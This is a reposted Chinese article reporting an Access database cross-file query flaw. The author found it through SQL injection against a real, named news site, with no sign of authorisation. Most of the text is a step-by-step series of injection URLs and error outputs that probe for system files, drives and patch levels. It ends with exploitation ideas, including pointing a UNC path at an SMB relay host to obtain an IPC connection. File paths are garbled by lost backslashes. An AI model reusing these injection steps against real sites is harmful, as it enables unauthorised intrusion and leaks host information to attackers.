Home >Database >Mysql Tutorial >access数据库跨文件查询漏洞的初步报告

access数据库跨文件查询漏洞的初步报告

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOriginal
2016-06-07 15:16:501215browse

一. 在一次玩sql injection时无意发现了这个 漏洞 : 1.访问http://www.lznet.net/news/displaynews.asp?id=24794 页面出错信息: Microsoft OLE DB Provider for ODBC Drivers 错误 80040e14 [Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在


一. 在一次玩sql injection时无意发现了这个漏洞:

1.访问http://www.lznet.net/news/displaynews.asp?id=24794'

页面出错信息:

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'

[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误 在查询表达式 'id = 24794'' 中。

/news/displaynews.asp,行133

2.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=1

页面正常

3.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 1=2

页面返回"找不到文件"

这是典型的sql injection with access漏洞,接下来猜表名:

4.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from news)

页面出错:数据库引擎找不到输入表或查询 'news'

5.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from admin)

页面出错:数据库引擎找不到输入表或查询 'admin'

6.突然想起了sql injection技术中得到的出错信息中表名格式为: news.id

其中news为表名,id为表中的一个列名

7.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from lznet.a)

出错:找不到文件 'C:WINNTsystem32lznet.mdb'。

8.试遍了web根目录以及所有知道的虚拟目录,都下载不到这个lznet.mdb,仔细一看原来是lznet.mdb这个文件名是自己定义的。但是,是什么原因泄露系统目录的物理路径呢?继续试试能不能查询c:winntsystem32下的cmd.exe文件.

9.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from cmd.exe.a)

这条语句格式是经过多次试验得到的:)

出错:"数据库引擎打不开文件'C:WINNTsystem32CMD.EXE'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。 "

分析以上出错信息,我想权限是有的,因为我们是基于asp的guest权限,默认cmd.exe是Everyone:R ,如果打不开那就是数据库不支持了,但是文件夹是可以被数据库访问,否则我们是搜索不到其中的文件的。

10.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from c:cmd.exe.a)

在这里我们可以看到跨目录查询是可行的

出错:

找不到文件 'c:cmd.exe'。

11.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from c:oot.ini.a)

注:boot.ini是win2000在系统盘根目录下的系统引导文件

出错:

据库引擎打不开文件'c:oot.ini'。 它已经被别的用户以独占方式打开,或没有查看数据的权限。

12.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from d:oot.ini.a)

跨盘符查询也是可行的

出错:

找不到文件 'd:oot.ini'。

13.访问http://www.lznet.net/news/displaynews.asp?id=24794 and 0(select count(*) from i:oot.ini.a)

出错:

'i:oot.ini'不是一个有效的路径。 确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

注:我们看到出错信息很老实的告诉了我们这个系统没有i盘,从侧面说access的出错信息在某些方面还是比较详细的。

14.这是个比较实际的利用,如果对方是从spx打到spx,在winnt目录下就会有这些文件,我们可以通过这个漏洞查找这些文件,确定目录主机打补丁的情况:

[$NtUninstallQ329553$] [$NtUninstallQ329834$]

[$NtUninstallQ331953$] [$NtUninstallQ810833$]

[$NtUninstallQ811114$] [$NtUninstallQ811493$]

[$NtUninstallQ815021$] [$NtUninstallSP2SRP1$]

……………

二.漏洞的利用设想:

1.查询某个动态网页文件,利用查询语句获取动态网页的源代码,比如读取文件内容并把内容写入到表的一个列里,然后用len暴力猜列里的内容,从而得到源码。

2.猜测目录的位置、文件名等等,了解对方的一点主机信息,比如说系统安装在哪个分区上,共有几个分区以及系统打的什么补丁等等。

3.查询unc路径,如\1.1.1.1sharea.vbs,而\1.1.1.1运行着smbrelay,我们利用smb重定向技术有能会得到一个guest权限的ipc连接,这就有意思多了。

4.查找敏感文件,比如*.cif,*.mdb等等,但是我没有实现在access上使用通配符查询文件,可能是因为我是数据库新手的问题。

5.执行文件,可以的话就发财了.

6.以上设想可能有理解错误正在验证中(你想到什么就告诉我吧)

有关我对这个漏洞的理解:

access对表和列的查询存在问题,如果我们构造一个畸型表名的话,access找不到这样的表就会当成mdb文件去查找,如果构造得当,就会当成一个文件去到硬盘上查找!(默认在system32下查找。我在sql server也简单测试了一下,没有发现这个问题。另外利用这个漏洞需要两个条件(怕有的人不理解):

(1)对方是asp+access应用体系,并且asp代码存在过滤不足的问题使我们可以远程注射sql语句。

(2)asp要能显示查询失败的详细信息,比如"数据库引擎找不到输入表或查询 'news'"。否则我们无论查询是否成功都变的没有意义。



Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn